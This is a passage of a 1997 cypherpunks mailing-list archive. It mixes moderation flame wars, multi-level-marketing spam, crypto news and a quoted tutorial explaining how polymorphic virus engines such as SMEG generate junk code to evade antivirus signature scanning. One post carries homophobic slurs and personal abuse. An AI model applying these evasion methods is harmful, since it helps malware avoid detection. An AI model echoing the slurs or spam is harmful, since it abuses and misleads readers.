am running the Mersenne software on my system (and 5 others), but that project will 
go on hold once a stable version of the DES cracker is available. 

Btw: the person implementing the software may want to take a look at the software 
the GIMPS search is using. It is simple, yet effective.

amp


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 01/07/97
Time: 06:51:34
Visit http://www.public-action.com/SkyWriter/WacoMuseum

EARTH FIRST! We'll strip mine the other planets later.
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 05:07:56 -0800 (PST)
To: cypherpunks@count04.mry.scruznet.com
Subject: Re: At the risk of getting flamed :)
In-Reply-To: <199701041746.JAA11844@count04.mry.scruznet.com>
Message-ID: <uqT6ZD13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


[CC'd to 2 mailing lists]

Kelly G. <cypherpunks@count04.mry.scruznet.com> writes:

>     Hi Dimitri,
>    did the freon tape cleaner work out on those
> papers that had gotten soaked?? you hadnt let me know the results..

Thanks - I passed on your advice, but I think they decided to get rid of
almost everything... It's better to keep stuff on optical storage anyway.

> I caught your article in phrack. Hmm you do indeed know how
> to abuse  mail and news protocols...

I made the cancelbot publicly available because I don't believe in "security
by obscurity". Usenet cancels are broken and should be ignored. I find it
indicative that what I call outing a well-known and widely abused security
hole, you call abuse.

>                                      have you any got any
> ideas of how to get cypherpunks back on track and at least
> eliminate the commercial spamming of the list that is occurring

Cypherpunks have been forging Usenet posts from "freedom-knights@jetcafe.org"
to alt.business.* et al, asking for business opps in e-mail. I'm thinking of
forwarding the resulting spam on f-k back to cypherpunks. In this case, the
best way to prevent unsolicited junk e-mail is not to forge solicitations for
such e-mail in the names of the people you disagree with in the first place.

> n.b. I still class you as a cypherpunk even though you have a private
> war going on with most of the rest of the list..

You're wrong. I happen to advocate absolute freedom of speech, privacy,
anonymity for everyone, including those I don't agree with. These principles
are totally alien to "cypher punks". I also happen to have done a lot to bring
computer networks and privacy technology to places and people who still
wouldn't have had it otherwise - perhaps more than any "cypher punk".

"Cypher punks" are a primarily gay social club who advocate privacy for
themselves, but not to their many enemies. Do you read the traffic on
their mailing list? "Crypto is only for the elite." "Freedom of speech
is only for those who use it responsibly."

I think Dale Thorn hit the nail right on the head when he described "cypher
punks" as security people. Their interest is not the wide deployment crypto
technology (that's my agenda). They're more interested in silencing the
"homophobes" (meaning, anyone disagreeing with a "cypher punk", irrespective
of whether it has anything to do with homosexuality). They want privacy
technology only for their paying customers, and only if the customers
use it "responsibly", i.e. don't say something the 'punks find objectionable.

Take a look at Sameer's net.scum web page for some examples. When he got sued
by SPA because his customers pirated software, he claimed that he doesn't
censor based on content. At the same time he pulled a plug on an account used
to display a web page critical of Tim May, calling it "libel". No wonder Sandy
now whores for this pimp.

John Gilmore complaint to the upstream sites of his many "enemies" when he's
outed as a cocksucker (clearly content-based), while claiming (through his
mouthpiece Timmy May) that he only censors based on volume, not content.

> also note that sandys offer earlier of flying you out here to meet us
> was quite real and your safety was assured..(I would have guarenteed
> your safety myself) , we just often find out here on the west coast that
> conflict resolution happens best face-to face in quiet discussion.
> After all you know me face to face and personally!

Re-read some of the shit Sameer's whore has been posting to c-punks.
People who voluntarily submit to censorship by Sandy deserve pity.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: robbieg@mich.com
Date: Tue, 7 Jan 1997 04:19:26 -0800 (PST)
Subject: Partner with Dr's to Earn a Dr's Salary
Message-ID: <199701071210.HAA24222@server1.mich.com>
MIME-Version: 1.0
Content-Type: text/plain


                  "Live the Lifestyle of your Dreams . . .
              And help those you care about to do the same."

**********************************************************************
To the Online explorer who just might appreciate an opportunity when 
it smacks them in the face . . . WARNING! this is not your ordinary 
junk E-mail . . .  
**********************************************************************

Do you currently love what you do for a living?  Are you currently 
being paid exactly what you're worth?  If so then you are one of the 
fortunate and privileged few.

However, if this is not the case for you, then how would you like to 
"Escape The Rat Race"? 

If you are willing to invest a few hours a week and are success driven 
and self-motivated, then you may be one of the key people that I am 
looking to PARTNER with. I am looking for ambitious business-minded 
individuals who would like to have more out of life. My program will
help you create a part-time, home based business of unlimited income
potential. 

You have the choice! Work hard for the next 2-4 years to develop a 
million dollar asset of unlimited income potential or . . .  stay in 
corporate America . . .  working at a job that may not even exist next
year . . . for the right to retire on a pension that's 1/3 of what
wasn't enough during your most productive working years.. 

This opportunity is Your Invitation to:
· Be Your Own Boss
· Create Unlimited Residual Income
· Develop a Rewarding Business by Helping Others as you Help Yourself
· Select Both the Hours You Work and the People You Work With
· Take Advantage of Lucrative Tax Benefits
· Live a Lifestyle of Freedom and Fulfillment

      From the cover of Success Magazine, the headline announces that 
                      "We Create Millionaires!!"

                 10 REASON YOU NEED TO CALL NOW!!!!

1.  YOU WILL CATCH CRITICAL MASS: Our growth has doubled for each of 
the past two years. We have our best growth years ahead of us. 

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4.  YOU WILL LOVE OUR PRODUCTS:  Not because you buy them to get a 
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To further explore the possibilities, please E-mail a day/evening
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all of the exciting details

Looking forward to hearing from you

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robbieg@mich.com 

PS  For just a moment. . . . Close your eyes and look back over 
the past 5 years?  What do you see that's worked?  What do you
 see that hasn't worked? What would you like to change? What 
would you keep the same?

Now look forward to the next 5 years. If  you have nothing in
place to alter the future picture of your life, then isn't it
reasonable to  expect the future to be a duplicate picture of
the past.  My definition of insanity is doing the same things 
over and over again expecting different results. If you are 
truly committed to making a significant change in your life, 
please take the time to give me a call to see if this opportunity
is a fit for you. You have everything to gain!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 7 Jan 1997 07:30:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: An observation on the moderation thread.
In-Reply-To: <5F2N3evcwapi@sendai.scytale.com>
Message-ID: <32D26BCF.5F51@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Roy M. Silvernail wrote:
> In your mail, you write:
> > So this jerk (number ???) admits the problem is already solved,
> > then goes on to say "yeah, Sandy, block some more, just in case
> > my killfile misses one".

> Not at all.  I'm simply noting that the people who are crying the
> loudest about losing their forum are the ones I already ignore.  As has
> been amply pointed out, so long as the list is available in an
> unmoderated form, nothing is being lost.

> > You would have loved Hitler.

> Godwin's Law has been invoked.

> > You're nothing new, Roy.  Just another fascistic voice calling for
> > the Final Solution.

> I'll resist the temptation to return the insult.  If it matters, you've
> been in my killfile for some weeks.

> Consider this official notice: do not send me any more email of any
> kind.  Any such mail received will be considered harrassment, and will be
> dealt with accordingly.

Since Roy has chosen to argue with me, then shut me off by threatening
reprisal if I mail him directly, I'll have to post this to the list.

Sorry, Roy.  I try never to do a thing like this, but next time, don't
argue and then say I can't argue back.  Just say "don't reply" and drop
the argument.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mixmaster@remail.obscura.com (Mixmaster)
Date: Tue, 7 Jan 1997 08:02:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale on a tear (again)
Message-ID: <199701071551.HAA19245@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:04 PM 1/5/97 -0800, Dale obviously wrote:

:I'll bet Hitler was disenchanted by the declaration against him by the World Jewish Congress.
:
:I'll bet Andrew Jackson was disenchanted with the decisions of the
:Seminole Indian leaders to not just lay down and die.
:
:And now Sandy is disenchanted.  What a hypocritical asshole.

What can one make of this fellow Dale?

Either he is Dr. V's mouthpiece or he has gone off the deep end.

A pity in either case -- a mind is a terrible thing to waste.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AllTheCash@aol.com
Date: Tue, 7 Jan 1997 13:11:36 -0800 (PST)
To: you@urgentmail.com
Subject: Great Opportunity!
Message-ID: <199701071936.OAA09691@fs.IConNet.NET>
MIME-Version: 1.0
Content-Type: text/plain


I thought this may be of interst to you!

I recently researched a company who has all the traits of becoming a
key player in the Health & Nutrition industry.  The companies name  
is I.D.E.A. Concepts and They are Steamrolling the competition!

...FREE Multi-Page Custom Website Does All The Work For You!

...No Sign Up Fees!

...Incredible Pay Structure..You recieve your checks every 2 weeks!
 
...Top Notch support from Doctors and Biotech News letters!

It's hard to really sum up all the benefits of this outfit in one
short letter so please take a look for yourself at what they have to
offer...

                               .....What Do You Have To Lose!

           http://www.multi-level.com/millennium/quickmoney.html

Best Of Luck,


D.M.C.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 7 Jan 1997 05:42:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: FTC Online Privacy Report
Message-ID: <1.5.4.32.19970107133736.00682ea0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The Federal Trade Commission released yesterday:

"Consumer Privacy on the Global Information Infrastructure" 

   http://www.ftc.gov/bcp/conline/pubs/privacy/privacy1.htm

Reuters 1-6-97:

  The Federal Trade Commission, which last year held a conference 
  on privacy issues, said participants at the gathering agreed that 
  businesses have four ways to protect consumer privacy:

  -- Notify consumers about how personal information collected online is
  used.

  -- Give consumers a choice about whether and how their personal
  information is used.

  -- Ensure the security of personal information is protected.

  -- Give consumers access to their own personal information to ensure its
  accuracy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 7 Jan 1997 08:40:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: infowar - defense - DOD
Message-ID: <199701071640.IAA22329@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain




              DoD Information Warfare (IW) 

              Department of Defense
              Topic(s): Government BPR Project Reports 
    [Home]
              Document Listing by: [Title] [Author] [Topic] [Coverage] [Source] 



Abstract: Lead Agency: OASD (C31)

Functional Area: Command and Control


Project Title: DoD Information Warfare (IW) 

Functional Area: Command & Control 

Lead Agency: OASD(C3I) 

Summary: To achieve information superiority in support of national military strategy, a joint DoD team reengineered DoD Information Warfare
processes. A high-level model was developed to provide a consensus view of key processes and data. This evaluation will lead to the
development of a national IW policy, an assessment of IW vulnerability, and a standard risk management process. 

Description: The mission of this project was to develop a baseline activity model for current IW processes, identify improvement opportunities,
and recommend a plan for the application of Business Process Reengineering to IW. Representatives from the Joint Chiefs of Staff (JCS), Army,
Navy, Air Force, Marines, Defense Intelligence Agency, National Security Agency, and the Defense Information Systems Agency participated in
the project. 

Improvements: Nine specific improvements were identified including: 

Development of a joint, coordinated effort to identify and assess the vulnerabilities of military operations and systems and the defense information
infrastructure. 

Development of a standardized process for risk management. 

Development of a national policy for the conduct of IW. 

Benefit: The improvements will provide an improved ability to achieve information superiority in support of national military strategy by affecting
adversary information, information systems, and information processes while leveraging and defending U.S. information, information systems, and
information processes. 

Predicted Savings: Not reported 

Investment: Not reported 

Point of Contact: 

LCOL Liz Anderson 

OASD (C3I) IW 

6000 Defense Pentagon 

Washington, D.C. 20301-6000 

(703)614-0624 

DSN: 224-0624 

INFOWAR.WPD 

3252D.html 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kent@axxis.com
Date: Tue, 7 Jan 1997 07:45:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Last Great Opportunity of the 20th Century!
Message-ID: <199701071544.IAA28531@cerulean.axxis.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm_a_SPAMMING_moron,

Just thought I would drop you a note letting you know of an
opportunity that I came across lately.

I have been amazed at the success everyone in the company is having.

As you know timing is everything.  JDS, a debt-free multimillion
dollar telecommunication company, is launching for expansion 
its networking division called FastTrack January 6, 1997.  

Just as the Oklahoma land rush was the last great opportunity of the
19th century - so is FastTrack the last great opportunity of the 20th.
This is our chance to get in on the ground floor of an incredible 
opportunity.

Best of all - the program incorporates "Spillover".  Spillover is
one of the best ideas ever developed for network marketing.
Here's why:  Anyone I sponsor after you, will be placed under
you.  You then earn commissions on these new people as if you had
signed them up!

I just signed up a few days ago and I already have 53 members in my 
team just from SPILLOVER!  I hardly did anything!

The program just started, in fact it has less than 3,000 members.  This
IS the ground floor!  If you are serious about making money, then call
our hotline at 800-399-5052.

If you know what it's like to lose sleep because your so excited, 
then give me a call at 801-955-7975 or email me at kent@axxis.com. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Tue, 7 Jan 1997 07:03:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: RSA and Cylink settle
Message-ID: <v03007801aef80803b772@[206.11.192.107]>
MIME-Version: 1.0
Content-Type: text/plain


Subj:  Cylink and RSA Data Security Reach Legal Settlement; Public Key
Encryption Compa
Date:  Tue, Jan 7, 1997 7:52 AM EST
From:  AOLNewsProfiles@aol.net

      REDWOOD CITY, Calif.--(BUSINESS WIRE)--Jan. 7, 1997--RSA Data
Security, Inc., a wholly-owned subsidiary of Security Dynamics
Technologies, Inc. (NASDAQ:SDTI), and Cylink Corporation
(NASDAQ:CYLK), today announced a comprehensive global settlement of
their long-standing legal disputes.
          The settlement ends all outstanding litigation between Cylink and
RSA.
          The two companies reached an amicable resolution of their
disputes.  As part of the settlement, Cylink granted to RSA all
necessary rights to Cylink's Stanford patents, and RSA granted to
Cylink a license to RSA's cryptographic software toolkits.
          For both parties, the settlement ends further prolongation of a
legal dispute that has been costly and distracting.  RSA is
fulfilling the promise made to its customers to resolve the disputes
with Cylink.  Cylink, under its new president and chief executive, is
refocusing all of its energies on providing end-to-end data security
products and solutions, and has the ability to incorporate RSA or
other technologies to meet customer requirements.
          "We are very pleased that what had so long seemed to be an
intractable problem has, within the space of 10 days, now been
resolved by the new management at Cylink," said James Bidzos,
president of RSA.  "I worked well with Fernand Sarrat while he was at
IBM, and that working relationship helped us reach this agreement so
swiftly.  This agreement turns long-time antagonists into companies
that are already exploring ways of working together constructively,
to the benefit of the industry as a whole."
          Fernand Sarrat, president and chief executive officer of Cylink,
said, "We are setting out on an aggressive new course at Cylink in
which old disputes are an unnecessary distraction.  RSA will be one
of our strategic suppliers and we anticipate focusing totally on the
needs of our customers and the enormous market opportunity before
us."

RSA Data Security, Inc.
          RSA Data Security, Inc., a wholly-owned subsidiary of Security
Dynamics Technologies, Inc. (NASDAQ: SDTI), is the world's brand
name for cryptography, with more than 75 million copies of RSA
encryption and authentication technologies installed and in use
worldwide.
          RSA technologies are part of existing and proposed standards for
the Internet and World Wide Web, IT4, ISO, ANSI, IEEE, business,
financial and electronic commerce networks around the globe.  The
company develops and markets platform-independent developer's kits
and end-user products and provides comprehensive cryptographic
consulting services.
          Founded in 1982 by the inventors of the RSA Public Key
Cryptosystem, the company is headquartered in Redwood City, Calif.

Cylink Corporation
          Cylink Corporation (NASDAQ: CYLK) is a leading worldwide supplier
of information security solutions, providing the most comprehensive
portfolio of public key cryptographic hardware and software products
available today.  Cylink's products enable secure transmissions over
local area networks (LANs), wide area networks (WANs), public packet
switched networks such as the Internet, asynchronous transfer mode
(ATM) and frame relay networks.
          Cylink, headquartered in Sunnyvale, Calif., is also the
leader in outdoor spread spectrum microwave radio communications.
Cylink's customers include national and multinational corporations,
financial institutions and government organizations.  For more
information about Cylink and its products, call the fax-on-demand
number 800/735-6614, or visit the company's Web site at
http://www.cylink.com.
          --30--mg/sf* eh
      CONTACT:
      Cylink
      Paula Contos Dunne, 408/523-5993
      pdunne@cylink.com
      or
      Edelman Worldwide
      Ina McGuinness, 415/433-5381 x 213
      imcguinn@edelman.com
      or
      Patrick Corman
      Patrick Corman, 415/326-9648
      Corman@cerfnet.com

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Tue, 7 Jan 1997 06:08:33 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Double crypt strength
Message-ID: <3.0.32.19970107090728.00a14310@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:33 PM 1/6/97 -0800, Toto wrote:
>  Pardon my ignorance, but I seem to be missing something here.
>  If you use an encryption as your password, do you not need to 'store'
>it somewhere in order to use it in the future (to 'pass' it to the
>decryption program)?

I was thinking something as simple as running crypt and then the next thing
you do is run passwd.  That way, the encrypted string will probably still
be right there on the screen (assuming your passwd util doesn't clear the
screen first).  Granted, it still means that you have to remember a
pseudo-random string, but the string is always one step away if you used a
logical password/phrase to generate it.

Sorry, I guess I wasn't too clear on that (fingers can't keep up with the
mind and all that...)

-Rick


Rick Osborne / osborne@gateway.grumman.com / Northrop Grumman Corporation
-------------------------------------------------------------------------
"And when exactly did all this happen?"
'When we rewrote the dictionary.' 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Barnes <rbarnes@gil.com.au>
Date: Mon, 6 Jan 1997 15:10:26 -0800 (PST)
To: "'richieb@teleport.com>
Subject: RE: Sandy and I will run a cypherpunks "moderation" experiment in Jan
Message-ID: <c=AU%a=_%p=Tritronics_.Aust%l=TRI_NT5-970106231005Z-16@net.tritro.com.au>
MIME-Version: 1.0
Content-Type: text/plain


Rich Burroughs wrote:
>At 02:56 PM 1/6/97 +1000, Robert Barnes <rbarnes@gil.com.au> wrote:
>[snip]
>>My bottom line feeling with respect to this is that we cannot
>>expect freedom unless we are willing to exercise responsibility.
>>It is apparent that the people who are noisiest about freedom of
>>speech and content censoring are working tirelessly to abuse
>>the list and provoke the very opposite of their stated ideals.
>
>Hmmm.  There has been some of that, but some of use who have spoken about
>freedom of speech have done so because of legitimate concerns, not just to
>gain advantage in an ongoing, juvenile campaign.

I would say that there had been a lot more than "some of that".
I believe that moderation as proposed does not really limit
anyones Freedom of Speech.  After all the list is intended as a
forum to discuss the topic of cryptography and it's use by
society, the list is not advertised as a free for all abuse
forum or an unlimited conduit for spam.

If you want Freedom of Speech go stand on a soapbox in your
local town square.  Would you complain that people who choose
to walk on by and not listen to you are violating your right to
Free Speech?

Cypherpunks has the right to say "Enough, take the raves, rants
and spam somewhere else".  You are free to say what you want, but
if it is off-topic, I don't want to see it in my inbox.
>
<snip>
>
>I think the idea of two versions of the list is an excellent one, and it
>avoids the issues raised by presenting the list in only a moderated form.
>If people want the spam they can have it, and if they don't they can take
>advantage of John and Sandy's work, and read a more coherent version of the
>list.  I will certainly choose the latter, but it is nice to know that the
>choice is mine.  John and Sandy -- thanks for getting this rolling.

You will certainly be in the minority, but you are right,
the choice is yours to make and everyone else's as well.
>
>Rich
>______________________________________________________________________
>Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
>U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
>dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause

--------------------------------------------------------------
Robert Barnes                     Phone: +61 7 32529722
                                  Fax:   +61 7 32571403
Tritronics (Australia) Pty Ltd    Email: robertb@tritro.com.au

PGP Key fingerprint
  =  02 A6 22 5E 26 D3 7C 4D  E2 91 9E 15 AC EA B1 58
Send e-mail with "get key" in the "Subject:" field to get
a copy of my public key




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bernie Doehner <bad@uhf.wireless.net>
Date: Tue, 7 Jan 1997 06:09:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Upcoming DES Challenge
In-Reply-To: <Pine.BSF.3.95.970106201656.1932A-100000@bitbucket.edmweb.com>
Message-ID: <Pine.BSF.3.95.970107085847.283B-100000@uhf.wdc.net>
MIME-Version: 1.0
Content-Type: text/plain


> I think a completely known-plaintext attack would not impress the
> masses. Consider how often crypto illiterate programmers implement
> ciphers (such as Vigenere variants) which are obviously vulnerable to
> known-plaintext attacks. The idea seems to be that if you know the
> plaintext, what do you need the key for? _We_ may know better, but I
> think we are in the minority.

You have got to be kidding!
Where are you getting this "idea" from? Since when is recovering the
plaintext following and preceeding the known plaintext not of
_any_ interest?

In regards to known ciphertext. Can't you just calculate the time
required to successfuly perform known ciphertext only attack from the time
to successfuly break known plaintext?

I agree with earlier posters. I am glad RSA putting up some real money for
this and as such I respect their design of the contest. 

What I am curious about is wether the chaining mode will be "given" as
part of the contest, but I'll gladly wait till AFTER Peter is done with
his program to get an answer.

Regards,

Bernie Doehner





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Pierre Uszynski <pierre@rahul.net>
Date: Tue, 7 Jan 1997 09:37:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701070610.AAA02851@manifold.algebra.com>
Message-ID: <199701071737.AA28133@waltz.rahul.net>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves <rcgraves@disposable.com> very correctly mentions:

> 1) Moderator liability and anonymous posting.

I agree that this is actually a critical problem with a filtering
moderation scheme. Such a scheme appears to provide the capability to
filter out possible "copyright violations" posts. From what I remember
of the Netcom/CoS case (without going back to the sources), that may
mean more liability for the reviewers (and the operator of the
machine). That's a major point against simple filtering moderation.
(Which is considered principally because that's way that's most
compatible with current mail readers, really.)

ichudov@algebra.com (Igor Chudov @ home) responded:

> [in another forum]
> After long thinking, moderator board has come with the following 
> solution:
>
> 1) We do not know for sure if a certain post violates
>    some copyrights or not
> [and more in the same line 2,3,4,5]

Would any of this have mattered in Netcom/CoS?

Instead, a system that would forward reviewers' opinions *after the
fact* does not have any of this problem. And we have already mentioned,
it is also more powerful (real time initial feed, easy multiple
feedback feeds, fully compatible with anything else...) although it
does not reduce bandwidth requirements.

Pierre.
pierre@rahul.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen Patrick" <Mullen.Patrick@mail.ndhm.gtegsc.com>
Date: Tue, 7 Jan 1997 06:47:47 -0800 (PST)
To: "Neil Tunnicliffe" <intaus2@ois.net.au>
Subject: Polymorph engine (was:RE: PWL's how ?)
Message-ID: <n1359491961.71160@mail.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


Where did you get the following text on polymorph engines?  Is it available
somewhere?  Where can I get other information on similar topics (Please resist
the urge to mention web search engines; I'm looking for specific
recommendations :-)

Thanks!

- Patrick
_______________________________________________________________________________
From: Neil Tunnicliffe on Tue, Jan 7, 1997 6:08

Read this for an understanding of a polymorhphic virus:

E#234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234#>>
#188# A GENERAL DESCRIPTION OF THE METHODS BEHIND A POLYMORPH ENGINE #188#
E#234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234##234#*

A small glossary of terms:
AAAAAAAAAAAAAAAAAAAAAAAAAA

      ENCRYPT     = Transform from it's original form to an altered form.
      DECRYPT     = Transform from it's altered form to it's original form.
      KEY         = The register or value used to encrypt/decrypt with.
      SLIDING KEY = A KEY value that is INCREASED or DECREASED on each loop.
      COUNT       = The number of bytes in the encrypted code or data.
      INDEX       = A pointer to the encrypted code or data.
      SIGNATURE   = A unique group of bytes that can be used to check against
                    a programs content in the hope of detecting a particular
                    program.
      HEURISTIC   = A set of well defined rules to apply to a problem in the
                    hope of achieving a known result.

Question:  What is a Polymorph?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Answer:    Well, the Longman English Dictionary defines it as:

   "POLYMORPHOUS also POLYMORPHIC adj fml or tech.
     EXISTING IN VARIOUS DIFFERENT FORMS."

In other words, something that has the ability to change it's shape.  Other
ways to describe such a thing might be;  Mutable, Metamorphic, Etc...

Question:  What is a Polymorph Engine?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Answer:    A program with the abilities to encrypt (or jumble up) another
           program or data and provide a unique decryptor for it, it must
           do this in such a way that no two encryptions of the same program
           or data will look alike.

Example:  Take the following ultra-simple decryptor:

               MOV      SI,jumbled_data     ;Point to the jumbled data
               MOV      CX,10               ;Ten bytes to decrypt
main_loop:     XOR      BYTE PTR [SI],55    ;XOR (un_scramble!) a byte
               INC      SI                  ;Next byte
               LOOP     main_loop           ;Loop for the 9 remaining bytes

This small program will XOR the ten bytes at the location pointed to by SI
with the value 55.  Providing the ten bytes were XORed with 55 prior to
running this decryptor the ten bytes will be restored to their original
state.  If you are unsure as to why this is, brush up on your XOR logic!!

Ok, so you might say that if you change the KEY value on each generation it
will become Polymorphic?  Well, yes and no!  If you did that, the encrypted
portion would be Polymorphic, but the decryptor would still remain mostly the
same, the only change begin the KEY value!  So, a signature scanner that
allows WILDCARDS (and most do!) would still be able to find your decryptor!

One way you could fool some signature scanners is to swap around some of the
instructions.  So, with this in mind, the above decryptor might look like:

               MOV      CX,10
               MOV      SI,jumbled_data
main_loop:     XOR      BYTE PTR [SI],55
               INC      SI
               LOOP     main_loop

As you can see, still not much of a change, not really enough to fool some of
the better signature scanners.

"GET TO THE POINT!  WHAT IS A TRUE POLYMORPH?", I hear you cry!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Well, a "true" Polymorph would be a decryptor that looks completely different
on each generation!  Take the following decryptor:

               MOV      CX,10
               NOP
               NOP
               MOV      SI,jumbled_data
               NOP
main_loop:     NOP
               NOP
               XOR      BYTE PTR [SI],55
               NOP
               INC      SI
               NOP
               NOP
               NOP
               NOP
               LOOP     main_loop

This decryptor is the same as the one before it, but it has has a few random
NOP instructions peppered throughout itself.  On each generation you would
vary the amount of NOPs after each instruction.  This is a Polymorph in it's
simplest form.  Still, most of the good signature scanners would have no
problem with such a simple Polymorph.  They would simply skip the NOPs, thus
having a clear view of the decryptor, to which they could apply a signature!

No, a "true" Polymorph has to be far far more complex then this!  Instead of
peppering NOPs throughout the decryptor it would pepper totally random amounts
of totally random 8086 instructions, including JUMPS and CALLS.  It would
also use a different main decryptor (possibly from a selection of pre-coded
ones) and would alter all the registers that the decryptor uses on each
generation, making sure that the JUNK code that it generates doesn't destroy
any of the registers used by the real decryptor!  So, with these rules in
mind, here is our simple decryptor again:

               MOV      DX,10              ;Real part of the decryptor!  
               MOV      SI,1234            ;junk
               AND      AX,[SI+1234]       ;junk
               CLD                         ;junk
               MOV      DI,jumbled_data    ;Real part of the decryptor!
               TEST     [SI+1234],BL       ;junk
               OR       AL,CL              ;junk
main_loop:     ADD      SI,SI              ;junk instruction, real loop!
               XOR      AX,1234            ;junk
               XOR      BYTE PTR [DI],55   ;Real part of the decryptor!
               SUB      SI,123             ;junk
               INC      DI                 ;Real part of the decryptor!
               TEST     DX,1234            ;junk
               AND      AL,[BP+1234]       ;junk
               DEC      DX                 ;Real part of the decryptor!
               NOP                         ;junk
               XOR      AX,DX              ;junk
               SBB      AX,[SI+1234]       ;junk
               AND      DX,DX              ;Real part of the decryptor!
               JNZ      main_loop          ;Real part of the decryptor!

As you should be able to see, quite a mess!!  But, still executable code.
It is essential that any junk code generated by the Polymorph Engine is
executable, as it is going to be peppered throughout the decryptor.  Note, in
this example, that some of the junk instructions use registers that we are
using in the decryptor!  This is fine, providing the values in these
registers aren't destroyed.  Also note, that now we have random registers and
random instructions on each generation it makes signature scanning (even for
the clever signature scanners) impossible!  Instead, an HEURISTIC method must
be used, which can lead to false alarms.

So, a Polymorph Engine can be summed up into three major parts:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

  1 .. The random number generator.
  2 .. The junk code generator.
  3 .. The decryptor generator.

There are other discrete parts but these three are the ones where most of the
work goes on!

How does it all work?  Well, SMEG goes about generating random decryptors in
the following way:

  1 .. Chooses a random selection of registers to use for the decryptor.
       Leaving the remaining registers as "junk" registers for the junk code
       generator.

  2 .. Chooses one of the compressed pre-coded decryptors.

  3 .. Goes into a loop generating the real decryptor, peppered with junk
       code.

To understand how the selected registers are slotted into the decryptors and
the junk code you must look at the 8086 instructions from a binary level:

      XOR   AX,AX    =    00110001 11000000
      XOR   AX,CX    =    00110001 11001000
      XOR   AX,DX    =    00110001 11010000
      XOR   AX,BX    =    00110001 11011000

You should be able to see a pattern in the binary code for these four 8086
instructions?  Well, all 8086 instructions follow logical patterns, and it is
these patterns that tell the 8086 processor which registers/addressing mode
to use for a particular instruction.  The total amount of instruction formats
and the precise logic regarding the patterns is too complex to go into here. 
However, all good 8086 tutorials/reference guides will explain in full.

SMEG exploits this pattern logic to generate junk code and decryptors with
random registers, as the patterns directly relate to the registers Etc.

SMEG generates junk code in the following way:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Inside SMEG there is a table of the basic binary patterns for all of the 8086
instruction set, but with one important difference, all the register/address
mode bits are zero.  This is called the SKELETON INSTRUCTION TABLE.  The
table also contains various other bytes used by SMEG to determine the
relevant bit positions to "plug in" the register bit patterns.  These
patterns are plugged in via the logic processes OR and AND.  Using this
method, SMEG can generate endless amounts of random 8086 instructions without
destroying any of the registers used by the decryptor proper.
SMEG also contains some discrete logic for producing false CALLS to dummy
subroutines and also false conditional JMPS around the junk code.

